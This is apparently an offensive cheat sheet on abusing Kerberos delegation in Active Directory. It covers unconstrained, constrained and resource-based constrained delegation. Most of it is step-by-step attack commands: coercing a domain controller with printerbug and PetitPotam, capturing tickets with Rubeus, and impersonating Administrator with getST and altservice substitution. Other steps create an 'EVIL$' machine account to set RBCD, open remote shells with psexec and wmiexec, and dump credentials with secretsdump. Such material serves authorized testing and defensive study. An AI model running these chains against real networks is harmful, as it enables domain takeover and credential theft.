Kerberos Delegation
Delegation allows a service to authenticate to other services on behalf of a user: designed to solve the double-hop problem (when service A needs to authenticate to service B as the original user). Misconfigurations in each delegation type create different privilege escalation paths.
Delegation Concepts
The double-hop problem: A user authenticates to Server A via Kerberos. Server A cannot forward that Kerberos identity to Server B: the TGT never left the client. Delegation was designed to fix this.
| Type | Controlled by | Scope |
|---|---|---|
| Unconstrained | Computer account attribute (TrustedForDelegation) | Any service, any account |
| Constrained | msDS-AllowedToDelegateTo on account | Specific SPNs only |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity on target | Who can delegate to this computer |
S4U2Self: Service requests a forwardable ticket to itself on behalf of any user: no password or prior auth from that user required.
S4U2Proxy: Service uses a forwardable TGS from S4U2Self to request a ticket to another service: only allowed for SPNs listed in msDS-AllowedToDelegateTo.
Unconstrained Delegation
Any user who authenticates to an unconstrained delegation host sends their TGT along with the service ticket: the host stores it in LSASS. Compromise the host, wait for a privileged account to connect, extract the TGT.
Highest value: Coerce the DC to authenticate to the unconstrained host: you get the DC machine account TGT, which can be used for DCSync.
# Find unconstrained delegation hosts (excluding DCs: they have it by default)
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname
Get-DomainUser -AllowDelegation | Select-Object samaccountname # user accounts with unconstrained# nxc
nxc ldap <ip> -u user -p pass --trusted-for-delegation# Coerce DC to authenticate to the unconstrained host
# (run from compromised host or attacker box)
printerbug.py domain.local/user:pass@<dc-ip> <unconstrained-host-ip>
PetitPotam.py -u user -p pass <unconstrained-host-ip> <dc-ip># On the unconstrained delegation host: monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# When DC TGT appears, use it
Rubeus.exe ptt /ticket:<base64_ticket>
# Then DCSync
secretsdump.py -k -no-pass domain.local/DC01$@dc01.domain.localConstrained Delegation
The account has msDS-AllowedToDelegateTo set to a list of specific SPNs it can delegate to. If TRUSTED_TO_AUTH_FOR_DELEGATION flag is also set (T2A4D / protocol transition), the account can use S4U2Self for any user.
# Find constrained delegation accounts
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto# nxc
nxc ldap <ip> -u user -p pass --find-delegation# S4U2Proxy abuse: impersonate Administrator to delegated service
getST.py domain.local/svc_account:pass \
-spn cifs/target.domain.local \
-impersonate Administrator \
-dc-ip <ip>
export KRB5CCNAME='Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache'
psexec.py -k -no-pass Administrator@target.domain.localaltservice: SPN Substitution
If delegation rights exist to a low-value SPN (e.g., time/target), use -altservice to substitute the SPN in the ticket header. The KDC won't validate the final SPN against the allowed list at ticket use time: only the PAC is checked.
# Delegation is to: time/target.domain.local
# You want: cifs/target.domain.local
getST.py domain.local/svc_account:pass \
-spn time/target.domain.local \
-impersonate Administrator \
-altservice cifs \
-dc-ip <ip>
export KRB5CCNAME='Administrator@cifs_target.domain.local@DOMAIN.LOCAL.ccache'
smbexec.py -k -no-pass Administrator@target.domain.localRBCD (Resource-Based Constrained Delegation)
RBCD inverts the trust model: instead of the delegating account controlling where it can delegate, the target resource controls which accounts can act on its behalf via msDS-AllowedToActOnBehalfOfOtherIdentity.
Conditions needed:
- Write access to
msDS-AllowedToActOnBehalfOfOtherIdentityon the target computer (via GenericAll, GenericWrite, or WriteProperty) - OR
CreateChildon an OU containing the target (lets you create a new computer object) - A computer account you control (create one with
addcomputer.pyif MachineAccountQuota > 0)
Full attack chain:
# Step 1: Create a computer account (if needed)
addcomputer.py domain.local/user:pass -computer-name 'EVIL$' -computer-pass 'EvilPass123!'
# Check MachineAccountQuota (default is 10: most domains haven't changed this)
nxc ldap <ip> -u user -p pass -M maq# Step 2: Set RBCD on target: allow EVIL$ to act on behalf of any user to TARGET$
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local \
set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity \
-v 'EVIL$'
# Verify
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local \
get object TARGET$ --attr msDS-AllowedToActOnBehalfOfOtherIdentity# Alternative: set via LDAP shell (if you got one via Certipy or similar)
# ldap_shell> set_rbcd TARGET$ EVIL$# Step 3: Get service ticket impersonating Administrator to TARGET$
getST.py domain.local/'EVIL$':EvilPass123! \
-spn cifs/TARGET.domain.local \
-impersonate Administrator \
-dc-ip <ip>
# Step 4: Use the ticket
export KRB5CCNAME='Administrator@cifs_TARGET.domain.local@DOMAIN.LOCAL.ccache'
psexec.py -k -no-pass Administrator@TARGET.domain.local
wmiexec.py -k -no-pass Administrator@TARGET.domain.local
secretsdump.py -k -no-pass domain.local/Administrator@TARGET.domain.local